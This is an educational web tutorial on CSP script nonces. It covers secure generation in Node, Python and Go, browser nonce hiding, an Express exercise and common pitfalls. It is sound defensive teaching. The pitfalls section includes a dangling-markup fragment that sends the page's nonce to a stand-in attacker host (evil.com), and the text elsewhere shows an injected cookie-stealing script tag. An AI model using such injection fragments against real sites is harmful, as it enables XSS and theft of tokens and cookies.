LEARNING OBJECTIVES ⌵
- Understand the definition and cryptographic purpose of a Nonce (Number used ONCE) in CSP Level 2 and Level 3.
- Generate cryptographically secure random nonces on the server using CSPRNG APIs (Node.js
crypto, Web Crypto API). - Master the browser's DOM nonce-hiding mechanism: why
element.getAttribute('nonce')is emptied whileelement.nonceproperty persists. - Prevent critical nonce leakage vulnerabilities, including static nonce reuse, CDN caching collisions, and dangling markup injection.
📖 The Mental Model & Story (Intuitive Foundation)
Imagine an exclusive VIP gala with armed security at every door.
In the old days (CSP Level 1 domain allowlisting), the guard held a list of approved organizations: "Anyone claiming to work for Google or Acme Corp may enter." But attackers quickly realized they could forge employee badges or hire corrupt messengers from within those allowed organizations (CDN script gadgets, JSONP endpoints) to sneak weapons past security.
OLD MODEL (Domain Allowlists):
Guard: "Are you from https://cdnjs.cloudflare.com?"
Attacker: "Yes, and I brought an outdated AngularJS 1.2 library that executes eval() for me!"
Guard: "Welcome in!" ===> 🚨 BREACH
NONCE MODEL (One-Time Cryptographic Passcode):
Server (Generates fresh random code at 02:30:01.104 AM): "Today's one-time badge is 'r4nd0m-98a76f'"
Server injects badge into HTTP Header AND legitimate <script nonce="r4nd0m-98a76f">
Guard: "Show me today's one-time badge."
Injected Attacker Script: "<script>stealCookies()</script>" (Lacks the random code)
Guard: "No badge found. ACCESS DENIED & EXECUTION KILLED."
With Cryptographic Nonces, the server generates a brand new, unpredictable, cryptographically random string for every single HTTP request. The server delivers this nonce in the Content-Security-Policy header and injects the identical nonce into authorized <script nonce="..."> tags.
An attacker attempting an XSS injection cannot guess the nonce for that specific HTTP response because:
- The nonce is generated milliseconds before the page is transmitted.
- It contains 128+ bits of cryptographic entropy.
- It expires the moment the page request completes.
Technical Deep Dive & Specifications
1. Specification Requirements for CSP Nonces (W3C CSP Level 3)
According to Section 7.2 of the W3C Content Security Policy Level 3 specification:
- Uniqueness: A nonce must be generated per HTTP request. A static or hardcoded nonce is completely ineffective.
- Entropy: The nonce must be generated using a Cryptographically Secure Pseudo-Random Number Generator (CSPRNG). It must have at least 128 bits of entropy (16 random bytes), typically encoded as a Base64 string (yielding 24 characters).
- Format: The header declares
'nonce-BASE64_VALUE', and the HTML element specifiesnonce="BASE64_VALUE".
SERVER (Per HTTP Request):
1. Generate 16 random bytes: 0x4f, 0x8a, 0x12, 0xd3, 0x9b, ...
2. Base64 Encode: "T4oS05s...=="
3. Emit HTTP Header: Content-Security-Policy: script-src 'nonce-T4oS05s...=='
4. Render HTML Document: <script nonce="T4oS05s...==">bootstrapApp();</script>
BROWSER RENDERING ENGINE:
1. Parser reads CSP Header: Expected nonce = "T4oS05s...=="
2. Parser encounters <script nonce="T4oS05s...==">
3. Compare Nonce String: "T4oS05s...==" === "T4oS05s...==" ===> MATCH!
4. Script is compiled and executed.
2. The DOM Nonce-Hiding Security Mechanism
A critical security innovation in modern browser engines (Blink, Gecko, WebKit) is DOM Nonce Hiding.
If an attacker achieves partial script execution (or CSS injection), they might try to read the nonce of an existing legitimate script using document.querySelector('script').getAttribute('nonce') to attach it to their injected script.
To prevent this, the browser engine executes a security wipe immediately upon parsing:
- The
nonceattribute is removed from the DOM content attribute map (or returns an empty string""when queried viagetAttribute('nonce')). - The nonce value is transferred to an internal C++ slot accessible only via the IDL property
HTMLScriptElement.prototype.nonce. - The nonce is not visible in
element.outerHTMLserializations.
+-----------------------------------------------------------------------------------------------+
| DOM NONCE-HIDING MECHANISM |
+-----------------------------------------------------------------------------------------------+
| HTML on Wire: <script id="my-script" nonce="dGhpcy1pcy1hLW5vbmNl">...</script> |
| |
| Browser Evaluation: |
| 1. el.getAttribute('nonce') ===> "" (EMPTY STRING - Hidden from CSS/DOM scanners!) |
| 2. el.outerHTML ===> "<script id="my-script">...</script>" (Attribute Hidden!) |
| 3. el.nonce ===> "dGhpcy1pcy1hLW5vbmNl" (Accessible only via JS object) |
+-----------------------------------------------------------------------------------------------+
3. Server-Side Nonce Generation Matrix
| Backend Runtime / Framework | Implementation Pattern |
|---|---|
| Node.js (Native Crypto) | const nonce = crypto.randomBytes(16).toString('base64'); |
| Node.js (Express Helmet) | helmet({ contentSecurityPolicy: { directives: { scriptSrc: ["'self'", (req, res) => 'nonce-${res.locals.cspNonce}'] } } }) |
| Next.js (App Router Middleware) | const nonce = Buffer.from(crypto.randomUUID()).toString('base64'); injected via request headers |
| Python (Django / Flask) | import secrets; nonce = secrets.token_urlsafe(16) |
Go (crypto/rand) |
bytes := make([]byte, 16); rand.Read(bytes); nonce := base64.StdEncoding.EncodeToString(bytes) |
💻 Interactive Code Playground
Starter Code
Below is a full interactive simulation demonstrating how a server generates a dynamic nonce per request, injects it into both the CSP <meta> tag and legitimate <script> blocks, and how un-nonced or forged-nonce scripts are blocked.
Line-by-Line Code Breakdown
- Lines 8–13: The CSP header registers the active session nonce:
'nonce-kL9zX2mP0qR4wV8y'. - Lines 61–74: The legitimate
<script id="legit-script" nonce="kL9zX2mP0qR4wV8y">block contains the matching nonce. The engine verifies the match, compiles the script, and updates the badge. - Lines 65–73: The script tests DOM Nonce Hiding:
scriptEl.getAttribute('nonce')returns""because the browser stripped the content attribute for security.scriptEl.nonceretains the active string"kL9zX2mP0qR4wV8y".
- Lines 77–80: An un-nonced script tag is rejected with a CSP console error.
- Lines 83–86: A script with a forged nonce (
old-stale-nonce-12345) fails the string comparison test and is also rejected.
Expected Browser Render Output
The Authorized Script Status displays a green badge:
✅ Executed (Nonce Authenticated).Clicking the Inspect DOM Nonce Properties button outputs:
The Browser Console logs two CSP violation errors for the un-nonced and stale-nonced scripts.
DOM Nonce Hiding Audit:
-----------------------------------------
scriptEl.getAttribute('nonce') === "" (Hidden from DOM/CSS queries!)
scriptEl.nonce === "kL9zX2mP0qR4wV8y" (Available via JS IDL property)
scriptEl.outerHTML === "<script id="legit-script">..."🏋️ Hands-On Exercise
🎯 The Challenge: Build a Node.js Express Middleware with CSP Nonces
You are building an Express.js backend server. You must generate a per-request cryptographically secure nonce using Node's native crypto module, attach it to res.locals, send the Content-Security-Policy header, and inject the nonce into an HTML template.
Requirements:
- Generate 16 bytes of random entropy using
crypto.randomBytes(16). - Convert the buffer to a Base64 string.
- Construct the header:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-<NONCE>'; object-src 'none'; base-uri 'self'. - Render an HTML response containing
<script nonce="<NONCE>">console.log('Secure bootstrap');</script>.
🏁 Starter Code Sandbox
⚠️ Common Pitfalls
- Static / Hardcoded Nonces: Writing
script-src 'nonce-Secret123'and reusing"Secret123"across requests makes the nonce public knowledge. An attacker simply writes<script nonce="Secret123">in their XSS payload, completely bypassing CSP. - Caching Pages with Nonces on CDNs: If a reverse proxy or CDN (Cloudflare, Fastly, AWS CloudFront) caches a full HTML document containing a nonce, that cached nonce will be served to thousands of subsequent visitors. An attacker can inspect the cached page, grab the nonce, and inject malicious scripts. Pages containing nonces must specify
Cache-Control: no-storeor use Edge Workers to rewrite nonces per request. - Dangling Markup Injection: If untrusted user input is reflected into an unclosed HTML attribute before a nonced script (e.g.
<img src='http://evil.com/log?), the browser may absorb the intervening markup (includingnonce="...") into the attribute, exfiltrating the nonce to the attacker's server.
💡 Pro Tips
- Dynamically Created DOM Scripts in CSP L2 vs L3: In CSP Level 2, scripts created via
document.createElement('script')required manually assigningscript.nonce = currentNonce. In modern CSP Level 3 with'strict-dynamic', programmatic DOM scripts inherit trust automatically! - Never Expose Nonces in Global Client Variables: Do not write
<script nonce="...">window.CSP_NONCE = "abc";</script>. Any untrusted third-party script or library can readwindow.CSP_NONCEand dynamically generate authorized script tags.
📌 Key Takeaways
- A CSP Nonce is a single-use, cryptographically random token generated per HTTP response.
- Nonces require at least 128 bits of entropy generated via a CSPRNG (
crypto.randomBytes(16)). - The browser implements DOM Nonce Hiding, emptying
getAttribute('nonce')to prevent CSS selectors and DOM scrapers from extracting the active token. - Nonce-bearing pages must never be cached publicly on CDNs without dynamic edge token replacement.
- Nonces eliminate the need for brittle domain allowlists by binding trust directly to specific authorized script elements.
- --